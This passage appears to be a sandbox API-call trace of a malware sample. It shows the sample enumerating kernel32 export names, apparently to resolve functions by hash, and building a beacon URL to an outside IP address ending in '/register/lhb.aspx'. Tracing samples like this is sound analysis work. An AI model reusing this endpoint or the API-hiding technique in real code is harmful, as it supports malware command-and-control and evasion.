(lpString="CONSOLEMENUCONTROL") returned 18 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.609] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.609] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.609] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.609] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.609] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.609] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.610] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.610] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.610] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.610] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.610] lstrlenA (lpString="COPYFILE2") returned 9 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.610] lstrlenA (lpString="COPYFILEA") returned 9 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.610] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.610] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.610] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.610] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.610] lstrlenA (lpString="COPYFILEW") returned 9 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.610] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.610] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.610] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.610] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.610] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.610] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.610] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.610] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.611] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.611] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.611] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.611] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.611] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.611] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.611] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.611] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.611] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.611] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.611] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.611] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.611] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.611] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.611] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.611] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.611] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.611] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.612] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.612] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.612] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.612] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.612] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.612] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.612] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.612] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.612] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.612] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.612] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.612] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.612] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.613] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.613] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.613] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.613] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.613] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.613] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.613] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.613] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.613] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.613] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.613] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.613] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.613] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.613] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.613] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.613] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.614] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.614] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.614] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.614] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.614] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.614] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.614] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.614] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.614] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.614] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.614] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.614] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.614] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.614] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.614] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.614] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.615] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.615] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.615] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.615] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.615] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.615] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.615] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.615] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.615] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.615] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.615] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.616] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0117.616] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000 [0117.617] GetTickCount () returned 0x32d99 [0117.617] GetTickCount () returned 0x32d99 [0117.617] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0117.617] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.618] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0117.618] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.15.56/register/lhb.aspx") returned 36 [0117.618] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0117.618] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0117.618] VirtualAlloc (lpAddress=0x0, dwSize=0x13, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0117.619] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0117.619] lstrlenA (lpString="kernel32.dll") returned 12 [0117.619] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.619] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0117.619] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.619] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.619] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.619] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.619] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.619] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.619] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.619] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.619] lstrlenA (lpString="ADDATOMA") returned 8 [0117.619] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.619] lstrlenA (lpString="ADDATOMW") returned 8 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.620] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.620] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.620] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.620] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.620] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.620] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.620] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.620] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.620] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.620] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.620] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.620] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.620] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.620] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.620] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.620] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.620] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.620] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.620] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.621] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.621] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.621] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.621] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.621] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetProcessTerminationMethod" | out: 